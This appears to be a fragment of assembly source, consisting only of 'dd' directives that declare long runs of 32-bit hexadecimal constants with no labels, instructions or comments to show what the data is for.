		dd 7EC02708h, 3C86B0FAh, 95C45BECh, 19106C3h, 7F3CAAF2h
		dd 2C51BEE4h, 6732F22Bh, 0AEBDA36Bh, 2F2AA7Ah, 0D5DAB973h
		dd 0E555A821h, 0C8C3DBA2h, 0FC05F716h, 717C1E66h, 0D515A77Ch
		dd 37177EB8h, 2C9B42EDh, 248A4092h, 6654CAEAh, 0FA773ED5h
		dd 0BB0CEAFBh, 0E4749A81h, 6E178564h, 13F7FA48h, 0DF4B8656h
		dd 0D82AE868h, 4A3460F5h, 0C468CAEFh, 943C6188h, 0C48DAC99h
		dd 4FD50619h, 0D88C7C1Dh, 0FCB008Bh, 0CC0DAEF5h, 0C2505204h
		dd 0A9E20121h, 85E183EFh, 9D8CD3EBh, 10375999h,	0AEC1A3C1h
		dd 0EB01F0C4h, 579705F7h, 155800C3h, 0C1F0799Dh, 0D35EF08Ah
		dd 42063385h, 50226BC4h, 105CF44Ah, 0E9158CD7h,	1E89C66h
		dd 12243121h, 0F8617189h
		dd 0A5EF1CC3h, 3D888D75h, 23567580h, 484D681Eh,	0D725BA34h
		dd 8B9A7086h, 5359EC75h, 3748E910h, 0E6BAB79Ch,	0B0D80D2Ah
		dd 65A3CA63h, 0A0BE2F22h, 5415014Eh, 40E69CA3h,	0A0A2D18Ah
		dd 1A27ACF1h, 49D254AAh, 53C70D85h, 0CA6D418h, 3C3E601Eh
		dd 29EC0982h, 0B6583C06h, 0D28657F9h, 0F2850E95h, 0D7607E57h
		dd 0E36A8AD1h, 4E880A4h, 2EF2108Ch, 977B5D28h, 98329D53h
		dd 8D497322h, 0C51DB08Ah, 4BF67F0Bh, 98B7BCCAh,	0E1058340h
		dd 8A4A0B41h, 8700BE4Fh, 4F191176h, 14E3D01h, 7E20A063h
		dd 1053D3A9h, 0B4FA3CC1h, 9F707029h, 2D2B1F81h,	0BB07C328h
		dd 115A772Fh, 4A06A0C8h, 0C2353A66h, 770044Dh, 3308FA18h
		dd 3A215036h, 399C550Fh, 3CA368DCh, 6FF0297Dh, 0E2FA460h
		dd 0EFAE454Ch, 703C0687h, 626E67BDh, 0DB9580Ah,	9DDDBE46h
		dd 4306A366h, 0AFD06297h, 7825BFC7h, 0DF315377h, 2F29F1F6h
		dd 0BC829E30h, 0CC38F082h, 0AD83D310h, 2224EB7Ch, 230ABCBBh
		dd 454C5712h, 650DEB7Ch, 18D8205Ah, 0E34B4103h,	12B937Ah
		dd 0FCC5AA1Eh, 0BEB47EE5h, 7C28E23Fh, 0C7934D88h, 731CBA4Eh
		dd 0C31DD796h, 1415AE1h, 0B02AA61Bh, 71EE7686h,	1696BC8Ch
		dd 34CB0421h, 8A60B8BAh, 2DB11748h, 90A27F2Dh, 9125F020h
		dd 84244210h, 7888758Bh, 44267089h, 0BA627DBFh,	0A9342710h
		dd 4996A3FCh, 5C592106h, 0ED07A69Eh, 1741C952h,	0D880348Bh
		dd 0F3398E3Ah, 7541FE05h, 2A6F31Ah, 62EDF226h, 61180535h
		dd 5579C62Ah, 0E6689C51h, 0BE458E18h, 480A4ED6h, 903EF255h
		dd 0C97CA6F4h, 0A8BA3324h, 526863DCh, 0C878690h, 44D7C529h
		dd 0C55840F9h, 4C7BD18Dh, 0CDD7C21h, 0C8BEB33Ah, 5FAAD24Fh
		dd 0CFE3A06Ah, 3164AAh,	3185C547h, 6E10A652h, 0CD46EDE3h
		dd 28324BF4h, 83150466h, 6A17FE09h, 1A8063E5h, 78D78354h
		dd 0AEBF2060h, 0AA59D6Fh, 18132CDh, 7ADDA80Bh, 89BF7FEEh
		dd 5277FB62h, 6C6BC188h, 502007BEh, 6D43D5BCh, 0B2BD3BF5h
		dd 46609389h, 846ED944h, 0B964398Eh, 383816F9h,	0DCC94D33h
		dd 78E1AF96h, 0DB09D994h, 0B11C65F4h, 4ECA65A2h, 975664EDh
		dd 0EF90FD20h, 8455944Ah, 0EE2B4139h, 0BA51EAA2h, 0C13B02E3h
		dd 65760042h, 30182AA6h, 1346184Ah, 623787F3h, 0CEC303ACh
		dd 0F8384118h, 0B40710C2h, 66C5D101h, 0E6AA26A5h, 647083CFh
		dd 15302E0Bh, 2CAD0323h, 72AA108Ah, 0D37BD05Bh,	0EDC61E68h
		dd 0BCCC5BDEh, 0D0449313h, 70654218h, 450E7CC5h, 0C4ED99E8h
		dd 35FA0228h, 100581BFh, 0A20FA53Dh, 0D3BA0A57h, 0E718A256h
		dd 703B3432h, 5655F82h,	56912A0Fh, 955DFA80h, 99D008BFh
		dd 7D48ABA2h, 603F2B51h, 171B4519h, 2D66A844h, 8072F455h
		dd 8B4C6813h, 1E782045h, 0F5EB9E1h, 2C059615h, 268E9D91h
		dd 0C7EA0EE6h, 5596C5C4h, 0A8FF4164h, 301D373Bh, 0EACC8D52h
		dd 0A7967418h, 0EFCD0CF9h, 0C1FCA160h, 0C8726793h, 1AEB5129h
		dd 9100641Dh, 72442457h, 8658BC79h, 80BEAE91h, 2D5DA15Eh
		dd 0E6E3174h, 25710970h, 11993235h, 7D2C578Ah, 8A8BC526h
		dd 72A14AB4h, 0FCE7A2F0h, 4610F847h, 0F48189C5h, 17580494h
		dd 0B5F940D2h, 278067DDh, 0ECD2535Fh, 82639CC6h, 13214578h
		dd 7FBA6E93h, 5A28D1FCh, 0E7FE7159h, 0DBCE2E15h, 22DFEE37h
		dd 75661BE5h, 0C29324AAh, 6172047Bh, 0AA1F3F44h, 0B571C029h
		dd 0F535C8D4h, 4C08BBB3h, 0D6DCBD5Dh, 63092451h, 52180B84h
		dd 53091FBAh, 521A37EDh, 6AB21A66h, 5852C60Bh, 8243BE21h
		dd 2192FF14h, 0AF98F0B8h, 22AF52FEh, 4E4A3E3Ch,	0B386EBCEh
		dd 0E961C62Eh, 8F550F1Ah, 26986127h, 8DEA0454h,	2DEB4918h
		dd 5792830Ah, 148E9CB0h, 0B01A960Eh, 0D07831D0h, 2561C3FEh
		dd 80F72340h, 4ACFBE02h, 0B439D136h, 177FF79Ah,	0AA9F388Ch
		dd 2B1A5922h, 28CB2E28h, 0FE5D08E2h, 3183D0CAh,	32E620AFh
		dd 0B15CE710h, 69272FDFh, 65F08895h, 54042295h,	0FD39C17h
		dd 22E9E691h, 759A4CB5h, 38DA1F29h, 0A0C45AA0h,	72CC3422h
		dd 35075E31h, 9960F6D5h, 4263E4F5h, 78EF69D1h, 0A72BC626h
		dd 8AABC95Eh, 0B9DBEC60h, 916B2063h, 35F54A2Ch,	7A49CB5Ah
		dd 6F5969D8h, 0DB522075h, 8526432Eh, 2C9540A7h,	9141EFF7h
		dd 6E2E66BDh, 0A0038875h, 0FE316DECh, 0B28C0BE3h, 2AF25E94h
		dd 0D0DA2357h, 0DEA01285h, 704F157Ah, 0CC0C5057h, 0D2B3C6BEh
		dd 78EFFA06h, 0B4C0769Dh, 0C0EF4506h, 0AB51234Fh, 0F741A8Ch
		dd 0E29794E6h, 0C5829585h, 54AB7248h, 0A2F948C4h, 0F4FFE522h
		dd 18B75CFh, 0CA303ED0h, 0C22751Dh, 18C4D079h, 0E5E4FF4Ch
		dd 0C1D2D0AEh, 4B36856Ah, 0AA6B35D0h, 293B2FF0h, 9D6ED712h
		dd 6F7C068Bh, 6817A65Eh, 19C3A3A9h, 3E20FA13h, 40CA1785h
		dd 7D17A28Ah, 179B312h,	24ABB56Bh, 0F87D8409h, 3321B58h
		dd 0C5BDA074h, 0B5121F5h, 9E63ADD2h, 0D0A11620h, 1234A52Eh
		dd 0B47A162h, 0E5A7F79Bh, 0EC191D12h, 80107B9Ch, 460A3963h
		dd 93D6F6DCh, 0AD5750E0h, 941C3612h, 216751C8h,	738F2A4Ah
		dd 49DFE856h, 5F852F90h, 0DF95214Dh, 31AC837Eh,	20B9399Fh
		dd 76DF72DDh, 9296BF83h, 30C69C07h, 9126E26Ah, 168C70EEh
		dd 482FF9Ah, 0BDF40C91h, 6A088238h, 0A9881063h,	0A0E318CAh
		dd 14B94465h, 312C4094h, 8B1F451Dh, 55945BB2h, 93DE349Eh
		dd 0DF0F50C5h, 30EF24C9h, 30DC61A9h, 6D0B31E0h,	0AA52836h
		dd 955B1AA6h, 174D22B7h, 80B4AF46h, 7CD4C651h, 215649Eh
		dd 847A4D83h, 8E18C739h, 0FD1D292Bh, 294CE47Eh,	904C6912h
		dd 510981B4h, 0B9B027CEh, 360FEBF2h, 666290DAh,	32A38710h
		dd 2CD8F1A9h, 2EA813E3h, 4E38A17Dh, 166083DDh, 0DAB40E47h
		dd 4F1D5BCFh, 1506F1Bh,	194AF0A0h, 34CAC51h, 300A0865h
		dd 77A94405h, 0B4720B32h, 36FD6580h, 4F22B1ECh,	0C27ED3B5h
		dd 595EEB8Ch, 0EBAF1A37h, 921E4D83h, 0E8391327h, 7307772Eh
		dd 78DD27E2h, 6317398Fh, 1964A76Ch, 22FFBE3h, 936F414Eh
		dd 15E50C56h, 0D14A451Bh, 1756F229h, 0D97EA0F2h, 540297D3h
		dd 557E91B4h, 6E16440Ch, 0E8D187DFh, 9CE15398h,	2119B54Dh
		dd 8167C127h, 0F3DF7FEEh, 9AA3A221h, 0FC69C8D5h, 3AA5D7BDh
		dd 929DE50Dh, 0F03477E8h, 0AD988A18h, 0F421F4B2h, 0D3C40D3Dh
		dd 799C1BE0h, 600AC985h, 0D88B3193h, 47D7471Ch,	0FC765405h
		dd 0ED808101h, 624D73h,	0FB3E5255h, 98BB3EC7h, 5720E650h
		dd 1FE6FC71h, 4535D1F3h, 66016759h, 9C699BBh, 2115714Eh
		dd 2ACD2789h, 0C48A3865h, 9119038Dh, 316A0494h,	62998912h
		dd 63BC3156h, 0A023A18Ah, 50FC7CCh, 650F455Bh, 0A241DED9h
		dd 0A127C998h, 9F8A982Ah, 0BA5D37A9h, 0B2359B7Ah, 0AA39893Ah
		dd 0EA972C42h, 0FB222822h, 662E63CCh, 1B6EA97h,	0D458ED60h
		dd 0D0A7C4h, 7634C2C5h,	0D5F2632Ah, 71197F76h, 0E91A4831h
		dd 0A4CADF5Eh, 48FCC0FEh, 0D69D2FB4h, 50AF4247h, 40E4F4EEh
		dd 0D25CB502h, 35D2BE64h, 0B6501A0Bh, 0BC2D46AFh, 0C156610Bh
		dd 8279235Dh, 46135CAh,	9204EBB5h, 1B20E751h, 85A5144Dh
		dd 527BAE55h, 46EF1AE9h, 9729A126h, 0CC522D3Ah,	0C5D461AAh
		dd 2A50ED27h, 51D959F9h, 0F02A873Eh, 0B4721418h, 544ACC78h
		dd 0EEBDA08Bh, 606F498h, 6F871F6h, 0F68044A6h, 8C246C6Eh
		dd 20DF7975h, 0ED84AEA9h, 0BC2B88E3h, 0AFD0BD40h, 0F5C1D218h
		dd 394E75D0h, 47C1D545h
		dd 5560EB1h, 2DAFB79Dh,	0CDA90B8h, 84628E44h, 526BDB09h
		dd 0FD513A9Ch, 0CFE28C70h, 68DD8505h, 0CFB541BFh, 30D6D6D5h
		dd 1763AB3Ah, 7515E1F3h, 794D852Ah, 0B1835693h,	0B5B564AAh
		dd 0B5112F50h, 2CE8D20Fh, 1FEEF56Bh, 442F3182h,	0A7E4D741h
		dd 8EDE3D6Bh, 22508D1Dh, 6B2C7CABh, 28614457h, 50D1ED9Ch
		dd 0CEEC15FEh, 0B12A7E3Ch, 8BF7DFFBh, 0B9AA12ABh, 590B2EBCh
		dd 677C3C86h, 8A9922A2h, 0D32D6EB3h, 842525FBh,	694812C6h
		dd 154A2984h, 18998AC4h, 7AE2F1A1h, 4B42E84Dh, 504EAF0Bh
		dd 0CD76B8F0h, 912C1FE9h, 7205297Eh, 180B4D0Ah,	0EF972671h
		dd 60F94A04h, 2B1275FBh, 20F02ABCh, 602ABE0Dh, 0F0060C5Fh
		dd 2F0C7C40h, 0DFBE1076h, 0AB5C46ADh, 0E5A446D1h, 0C499985h
		dd 3AE42312h, 98F243CBh, 2135197Fh, 657C8AD3h, 254D5C96h
		dd 60A06449h, 3209ADC9h, 0AAF25709h, 0F59DC580h, 1846208Ch
		dd 5FA86781h, 4CF31C9h,	0FB9276AFh, 94DFA558h, 9FC2181Bh
		dd 0EDF81B44h, 0FBF027AEh, 0B17C9775h, 423937E4h, 0CC24450Bh
		dd 23BAC723h, 0F16ABE13h, 611E42A8h, 332E2B66h,	0FA7EB24h
		dd 3F856421h, 0A0A2AE06h, 5CB886D0h, 71454F52h,	3EC3A691h
		dd 9B120290h, 7910278h,	8455A6B1h, 3ACF2460h, 8A50F08Ah
		dd 7055A805h, 20972042h, 9647C8FBh, 3EAA4948h, 98FD107Fh
		dd 6C6C9A04h, 8D073A4Bh, 0E078C1CAh, 0B17DD7EEh, 49CA15A2h
		dd 0E8B29F14h, 0E7801094h, 0E0CC67D1h, 0F8CB571h, 8C605F26h
		dd 0C28EE850h, 14B4BA3Dh, 8A869638h, 9C35155Eh,	484C1939h
		dd 5820244Ch, 0E0CC5B17h, 531E087Ah, 8ABC44E0h,	810A6CCEh
		dd 0D7CCF24Ch, 3C40BD30h, 0E98DD64h, 14609D52h,	2BC2A1B0h
		dd 6677E884h, 1966C5F0h, 0A9C52288h, 0DEF0B666h, 0B9462606h
		dd 52C0DD07h, 8363A07Ah, 6D27E09Dh, 0A1E12047h,	0F2A0B291h
		dd 0DBE85597h, 8918B212h, 1975560Fh, 45467B59h,	41992E9Dh
		dd 0C8BD465h, 0DF816DAAh, 2248A80Dh, 0D1641DFBh, 0E70CEFD3h
		dd 8B6DF05Dh, 0F0BA72CCh, 0F076FC67h, 0C26A7778h, 0E4144598h
		dd 121A2AC3h, 0A041BB45h, 0B3BAAEBAh, 1C9CC78Eh, 0EB92DF46h
		dd 0F4468221h, 855D9E58h, 3D8C482Ah, 0B7544141h, 0C5B558B3h
		dd 46FE1B28h, 0FD64F7EFh, 0E2A8D230h, 83CCAF1Ch, 0D483E2CAh
		dd 0BAE9B931h, 319701A4h, 0F8350965h, 27268FA6h, 0C86A0843h
		dd 6D97230Bh, 43A2DC6Ch, 0CA8FC0EBh, 0B95ABFD8h, 180B4DACh
		dd 28F2A7C1h, 8B312509h, 650DF30Dh, 0A8C7069Bh,	0DDE2A300h
		dd 8DF24BFDh, 28A8B24Bh, 0F4832C6Fh, 0C5FE1D4Dh, 0A59DF957h
		dd 728D6EB3h, 9D1E098Eh, 437C566Fh, 0CA22CD08h,	0EB545D35h
		dd 0A3054D11h, 8BB70AB1h, 0F2297828h, 29DE769Ch, 0FF029C72h
		dd 184C89C7h, 1E475EBBh, 910483A3h, 39182408h, 64526862h
		dd 7FFF4535h, 0BCC99E60h, 0FAB305FEh, 174BA376h, 4FDDB8E5h
		dd 72AE48B2h, 0C6ED9D5h, 225D6D92h, 2EA5E68Ch, 0C628222Dh
		dd 1E6B4D99h, 5DD5D75Bh, 0B1B1894Fh, 8A2090E1h,	230C8BDCh
		dd 0FF576C0Dh, 6B6D6539h, 0D6A34972h, 0C2A395C8h, 0D104CED9h
		dd 574CD68h, 0A204A195h, 553200D1h, 0D6246B4Eh,	0CCDAE312h
		dd 43AAD073h, 7CAA5153h, 1CE3AFC4h, 7B11C16Eh, 2333B3F6h
		dd 80CD5C92h, 4F95F0BDh, 9F59A11Ch, 0D1F06751h,	67C03A45h
		dd 2744C55Ah, 89D12086h, 0B30113A2h, 808A84C9h,	284EF481h
		dd 4C13489Dh, 0D1C49627h, 74F1A689h, 0E280E9C2h, 18131989h
		dd 4540585h, 6275A88Ch,	0A89D84EAh, 0AE27413Ah,	0AC89584Eh
		dd 0EB625813h, 3AE8D684h, 4EBE75C1h, 0B6DB9D78h, 88CA3106h
		dd 2F300AAh, 63119846h,	3994108Eh, 8E6CC82h, 0D0234733h
		dd 7350711Ch, 84B29A44h, 81E78A0Fh, 0C1A7BCAAh,	547E4D4Ch
		dd 1D527055h, 11C4A7F8h, 0EC790809h, 0FAABDAECh, 30819209h
		dd 0BC8649EBh, 36A397E0h, 22502071h, 10964401h,	84269E45h
		dd 71092791h, 204209E4h, 33F2A279h, 4F13709Bh, 1AA63112h
		dd 2F88C585h, 3D45A081h, 0D09CC2E9h, 86E88BA5h,	0EDF746AEh
		dd 0D8A854F3h, 1476867Dh, 0E5AF7622h, 91848D3Ah, 98BF8922h
		dd 59F1DB68h, 5731E15h,	2471E9C0h, 53F8D5A9h, 280C5028h
		dd 492391Ch, 2B773F57h,	0FE0C7AFEh, 2B801727h, 0FC6425F8h
		dd 5CFDB00Dh, 99C43468h, 1EB3CFD9h, 4CB19039h, 0C6E1FA36h
		dd 0AAEA4455h, 48678958h, 0DBAF6D24h, 0AC22CD70h, 0FA7520EEh
		dd 8CCACC67h, 94ED43C5h, 0BE983C6Bh, 5D006593h,	0E0717F4h
		dd 0A85123FEh, 28461F8h, 1E4BF845h, 603DC68Dh, 0DF8CD719h
		dd 3DC18BD3h, 63988838h, 0C586ED02h, 2CF163B2h,	86229064h
		dd 395816AAh, 30BCB906h, 0E64052DCh, 28DE0371h,	123E76C1h
		dd 17B6CAC3h, 98761C46h, 0DC12A695h, 3F8D36CFh,	30A7AF72h
		dd 0E754BDFFh, 14E9AED6h, 7E05F3D3h, 0B4A967CCh, 3FCB1541h
		dd 15504EAAh, 8CF1AD37h, 66E8FE81h, 93200307h, 850F7F92h
		dd 40760ECh, 83A2FA51h,	939BE217h, 970BFF20h, 5FCFE95Bh
		dd 0D180D73Fh, 931E1B0Dh, 0A7FA7FCh, 373244F0h,	9153A915h
		dd 1B834BF8h, 467286h, 0A88B2787h, 2826293h, 31B22865h
		dd 0B1FDE752h, 5DEA08C7h, 7C1F3AD4h, 98FE8525h,	33805FCBh
		dd 0FFB3600Bh, 0C453AF14h, 0A37F72D0h, 5944E38Dh, 88A0D9BAh
		dd 3F913121h, 9745C23Eh, 0F04AD298h, 74D92136h,	2F1F0C95h
		dd 0B0F5C510h, 0DE8CE02Fh, 2880F5AEh, 95E73AB7h, 2038A143h
		dd 0AAD21FE5h, 66266602h, 0E4421577h, 7758F411h, 7F82A82h
		dd 0A44E7689h, 9F84F850h, 7E925E9Ah, 0C7693F28h, 0F29D853Fh
		dd 7A2FF843h, 29AA8967h, 4DE80479h, 0C4E42F26h,	0F80A254Fh
		dd 0E54650Eh, 70B10C69h, 0CBC68442h, 1141DA3Fh,	91B2924h
		dd 0FC74DC0Bh, 0DC0241A3h, 79C7BCABh, 7C744134h, 0BCF20159h
		dd 1420D0A2h, 2968D40Eh, 55CD8DAAh, 0B35C9C47h,	9298C9C2h
		dd 0F2A9E383h, 0CFE4B568h, 5D2EB9BBh, 0E9C8C356h, 2337421Ah
		dd 749073F9h, 87D79203h, 226DA37h, 0B27DCCDFh, 0DF842568h
		dd 0BEB257CCh, 60ED2E0Bh, 217E5A17h, 4EB21C27h,	39BAC4BFh
		dd 7ABAC923h, 0FA199EB9h, 90127363h, 5E141771h,	0BE267B17h
		dd 1EEE45CFh, 82E1C5h, 0C2B841B3h, 64A9150Bh, 79EAAA8Ch
		dd 6ACB01CFh, 29042AB6h, 6734B858h, 0AF34B360h,	0CF0DAD2h
		dd 0FCE191FAh, 0EBE0C704h, 0C9785D9Ah, 0E02C2B80h, 18228C42h
		dd 52022C0Ch, 0C9B1B36Dh, 54EA6390h, 7183418Ah,	6C55C031h
		dd 48442FA4h, 1E50F1B4h, 0E21962EDh, 0DCA19481h, 59033BFCh
		dd 0FD9A2BCEh, 4453EC9Ah, 37D63CD3h, 50548128h,	0B2B037E6h
		dd 0C36E671Ah, 83158A36h, 0C4CF95D8h, 0E9EBCE00h, 0AF85DC6Bh
		dd 7B7A5C84h, 87F15004h, 2707A156h, 0E8607409h,	80BD183h
		dd 0BB1E617Eh, 0CCC718DCh, 4D3FE31Fh, 7F65DD05h, 0C977DFBEh
		dd 9C72FDABh, 0C9FDCD43h, 0AB9CE507h, 4115BC24h, 0E7BB5753h
		dd 6559ED74h, 63571005h, 9F53247h, 0A75CB166h, 0E374FD74h
		dd 7B59432Fh, 7516A2E0h, 9BB41F6Eh, 484BA4C8h, 9EBEFDD7h
		dd 0DEE2B6AFh, 36357BE5h, 3012BDA2h, 0F1B5D940h, 1D9D0FE9h
		dd 0B4BCAAFFh, 0B739B468h, 0EAB131DEh, 1D9E8D42h, 22F03078h
		dd 708D4C8Eh, 5D9EA613h, 909F8B6Ah, 330857DBh, 39439759h
		dd 375B3BC5h, 0D5A399C2h, 5F6C7682h, 23AD8AECh,	5F07ED96h
		dd 0ED08DF95h, 0CBBAE34h, 0A8D3AF77h, 0D7AB9A78h, 4AAF2D8Bh
		dd 185403E1h, 248781DAh
		dd 0F9BCC6EBh, 157B3020h, 2806F665h, 0F242A372h, 0B94EB8B2h
		dd 8025EEF3h, 0E32676B2h, 3331B8Ch, 0D9918680h,	6C830A30h
		dd 9305B4BBh, 0D60AF125h, 0D640D152h, 331DFC5Eh, 8D9121B5h
		dd 285DEC1Fh, 0AEFC33B7h, 0E83C294Ah, 8AA4BFE1h, 5C9E0F87h
		dd 4C4920h, 0A64387E7h,	0D5AFBB1Eh, 0C64B114Dh,	2F1A3601h
		dd 7E8AC99Eh, 32793D5Fh, 30DF2CDh, 555F8F7Fh, 0AA1EAEC3h
		dd 62AA77BAh, 0C953BF32h, 8F6C4BE8h, 3ECE1A5Dh,	32AC87E1h
		dd 8A91E281h, 0F3FF40E0h, 0DEEE81E9h, 0FA81F19Bh, 0F2671991h
		dd 9CCA6C99h, 0AC623486h, 9FF92E11h, 0B7C5A010h, 0F88CA40Ch
		dd 365A6C3h, 85601485h,	0B79C61F0h, 0FB9A2FBAh,	0BD443364h
		dd 86F53C45h, 154BD800h, 7C8A54h, 6321AB24h, 0EE5A3240h
		dd 4845E280h, 8319A597h, 0EAD57D32h, 54518AA2h,	86524BAEh
		dd 18556385h, 0C4D3790Ah, 0A67DE782h, 0D2A7710Ah, 758AD758h
		dd 6C330651h, 14AF96C2h, 0AF116AC4h, 0C154C619h, 5F189F5Ch
		dd 639CAF09h, 3664DE14h, 0DE18182Ch, 2951658h, 17482EF3h
		dd 5AA018CDh, 50C0A4CFh, 8AEDB8D2h, 0AE28C5A8h,	1B983758h
		dd 0B719E610h, 83229C9Ch, 0A95C72E1h, 0B16C9E95h, 31EF142Ah
		dd 0B3A9285Fh, 73538FACh, 129A255Dh, 83F83610h,	1AA9067Ah
		dd 1157C903h, 18397DC4h, 83A4E571h, 3C350605h, 0BC90E301h
		dd 10408415h, 0AAD420CEh, 0CDF4F1h, 0C93CDD98h,	6DC407AEh
		dd 1B8780AFh, 0D33E0AEBh, 5832EDE1h, 0A8C493E5h, 40332370h
		dd 5A318CB1h, 0AAE2F831h, 0A72E4914h, 12DF1823h, 0D3B6B6E3h
		dd 4118FAECh, 0DE813C05h, 0BA47CA08h, 0DAC38864h, 0E6086D50h
		dd 260D2881h, 931616BAh, 843F2E2Dh, 0FF3D9C8Ah,	460E0579h
		dd 343D33A6h, 4942D342h, 89A433EFh, 0F41C8595h,	0BDE7C19Ch
		dd 0FDB08D62h, 0B284235Ch, 0D3386594h, 319C3534h, 0DA4E892Bh
		dd 4B9C63A8h, 55D8DA89h, 4C549F17h, 80FD0BC1h, 0C9E04A83h
		dd 98F34295h, 0ADD8CC71h, 0D60280Ch, 1C6B8880h,	47176FA5h
		dd 1959EB97h, 5328F00Dh, 60C6649h, 72A0CAF4h, 44EEADAAh
		dd 0EC252899h, 87D8281Dh, 960D6C49h, 627AB86Bh,	0CCEB8B16h
		dd 75B7EE1h, 1783137Eh,	4C521363h, 179B133Bh, 0C24CC1A0h
		dd 4ED07626h, 408DAA0Ch, 9F08D2C8h, 32BCF1D8h, 0B903D009h
		dd 801562EFh, 0CD4FB898h, 3B14607Fh, 9D36572Eh,	0CCAC6AB4h
		dd 0FA739127h, 6910177Fh, 1A6C13AAh, 7E6A96A3h,	0E22E5A62h
		dd 4BD29C75h, 418AAF31h, 752FC402h, 31481203h, 0A06303E7h
		dd 48D8C4D8h, 1430DC60h, 8619006Bh, 4B981632h, 0A5A3A91Dh
		dd 40C1AB12h, 22D456EFh, 4BA52840h, 79BF4070h, 0C947C17h
		dd 2DF698ACh, 0D68BAB3Fh, 676E46EEh, 33317E27h,	38C59796h
		dd 26A1FA45h, 945C8D61h, 2C6BB406h, 849C8142h, 2C2BD74h
		dd 0F59ABAE5h, 6690FFD4h, 7C995249h, 1B6BA03Dh,	818D4D23h
		dd 97AE0266h, 34DCE26Ch, 0D31C6029h, 9B51A544h,	21962CEFh
		dd 0A3B93061h, 6AC2814Ch, 0A1F50381h, 0ACCB5F02h, 6C348DC2h
		dd 240F74A2h, 42FB05Dh,	9094C450h, 5ACCD41Ah, 49D4495Bh
		dd 8027A577h, 4E2229Ah,	0A68AD9CCh, 1C4534E6h, 9A3D3A1Dh
		dd 84CCA60Eh, 78BC0362h, 0DCBE57EBh, 91806A8Ch,	2E9A93C2h
		dd 0A64A397Eh, 0F98B3A8Eh, 0A992969Bh, 0F2F9DCA3h, 0FD86A8A2h
		dd 0E18B43A3h, 0D415CBE4h, 3074BCC0h, 7E395384h, 397A9861h
		dd 6B04A8C0h, 8A03E220h, 0AA75C69Eh, 183B2826h,	9982A805h
		dd 7EC0C11h, 0E6202EAh,	7C65C8A9h, 0F1909E5h, 753305F0h
		dd 28A90959h, 821467A1h, 390CC855h, 0A2642Ah, 0F0504664h
		dd 0C6FF4050h, 0F6091D67h, 5FA3E376h, 1C70FAADh, 285CA95Ah
		dd 97A36431h, 0F8DFA38Bh, 0B4E443C2h, 98481D12h, 690C4054h
		dd 65762E81h, 59785927h, 42973B99h, 0DC449FFBh,	0ED0DAB20h
		dd 6520CFEEh, 0C3415F43h, 80D25898h, 2FFF75FDh,	87510783h
		dd 38CDC0AFh, 308A7FBBh, 8CD228E3h, 0DE816193h,	0C779525h
		dd 21EF0702h, 0D660474Dh, 567BA920h, 769B3436h,	90F1FF23h
		dd 0D5D738F0h, 0B9548D85h, 2F97413h, 0FB3B471Ch, 0A2B2C3B6h
		dd 0CCB9A5F2h, 0A1C63D06h, 7AD00BBCh, 98156B18h, 99A5326Eh
		dd 77117653h, 0DB0CEB26h, 52040662h, 9302ED0h, 46090C3Fh
		dd 0C5415AF5h, 0D4EA1AA8h, 2A0A0CA8h, 989AF565h, 2D12804h
		dd 8396E9F7h, 83A14A71h, 67528BEh, 397785B1h, 38473449h
		dd 0F7114DEBh, 68A4AF72h, 8ED6D7A0h, 0FD9924E9h, 0D263B022h
		dd 86F2C358h, 8BA24DE1h, 0B64E2EF5h, 3242FC88h,	567464FEh
		dd 5F02DA01h, 0E7D44568h, 510CEAAAh, 0C05D2FD3h, 80877F6Ah
		dd 865ED338h, 3C86E04Fh, 2281C80Ch, 74755540h, 0D8DAF47Dh
		dd 0F0485717h, 3EA2FE3Eh, 294EF47Dh, 9375970Eh,	0FE61C42Fh
		dd 3140FA7Dh, 206F8013h, 172889A2h, 286ECC17h, 2CB674ECh
		dd 7684F083h, 60CB0163h, 0C692D3A5h, 14C21B04h,	7DFB0ED8h
		dd 18321286h, 7CA244FBh, 0EB40A471h, 0F70A7D35h, 794A1A1Ah
		dd 726F2045h, 0ED37370Bh, 0E4DE59A1h, 0DB560AF4h, 25D2B91Ah
		dd 3A032DB4h, 92E61462h, 3FDCCE05h, 2B59F7DEh, 471F1D78h
		dd 2A6E6DDDh, 14FA1021h, 59CAA610h, 4D433DF3h, 46A1C0DAh
		dd 5A95B240h, 91FA9D39h, 8087F46Eh, 0EABB8990h,	0EB25E881h
		dd 0FC5FE829h, 136A5168h, 0F8ADAE48h, 0BF50A1A3h, 0E8D9FDCAh
		dd 0A23FD412h, 0E2BACD95h, 431374F0h, 0A1F76173h, 0EEC4BCCCh
		dd 0DE595AF7h, 0E7DD75D0h, 0AF054188h, 9455A5D6h, 361B6195h
		dd 0F8322F22h, 22830EE9h, 49E9AC73h, 0C3F5168Bh, 67C5978Ch
		dd 1C5EEE6Bh, 0A326724Ch, 5F60481Ah, 0BBD2FA5h,	0AF2CFFDEh
		dd 879A577h, 0A4F4741Ch, 0D3B84F32h, 4F3439C1h,	8AF52AEFh
		dd 5977DD7Fh, 8965940Dh, 0B120A7ADh, 0D50FBFB8h, 57549DF7h
		dd 4436A11h, 0B2AA4594h, 0D98FF61Ah, 2027FEDh, 733DA334h
		dd 92E9AD32h, 2EF35732h, 0C04D33ABh, 5DA2E08Bh,	0FC3F7265h
		dd 0C61E0BF3h, 0A67A9978h, 41E57A45h, 383FBE2Bh, 46D7DEB4h
		dd 479D61A1h, 2216E412h, 23CB6D1Fh, 35E18FC3h, 4547575Fh
		dd 853BF35Bh, 465F0515h, 0AABB3270h, 9D02470h, 787E2CACh
		dd 1577A63Dh, 0FAC83270h, 0C3E2A692h, 7F9A621Fh, 278C80E5h
		dd 0AEF72766h, 9572F0E8h, 46522D4h, 682B2949h, 0AE6AF1D6h
		dd 0CA8C2997h, 7C5DBBDCh, 48335252h, 408C0FF9h,	836FC6B9h
		dd 728C9554h, 7A1F23B4h, 0EAAB2802h, 92EA66E9h,	0CA101E37h
		dd 7B99140Ch, 0ACAA6499h, 76AB845Ah, 0B30AC85Ah, 1D808C9Eh
		dd 0C26D8481h, 5DCC93C0h, 752B1466h, 0C7C5C58Dh, 30ABAA62h
		dd 569401A3h, 0B3559535h, 562C1BB5h, 0B9406726h, 8CB38892h
		dd 89018C9Ah, 0A2E2C75h, 359D7262h, 0BA4A6B13h,	8BFD2C47h
		dd 0C5F4B69Fh, 51924A16h, 0F0F23234h, 77F03D75h, 2D0CC1A8h
		dd 0AEE24ADDh, 3102D667h, 689CC453h, 5AB2B76Eh,	49741897h
		dd 0D2C7FA05h, 0C7579A30h, 597D23ECh, 65C46E6Dh, 4C670155h
		dd 12107D40h, 555D26CCh, 7F5F15F4h, 0C39DB17Ch,	0BB4A49D3h
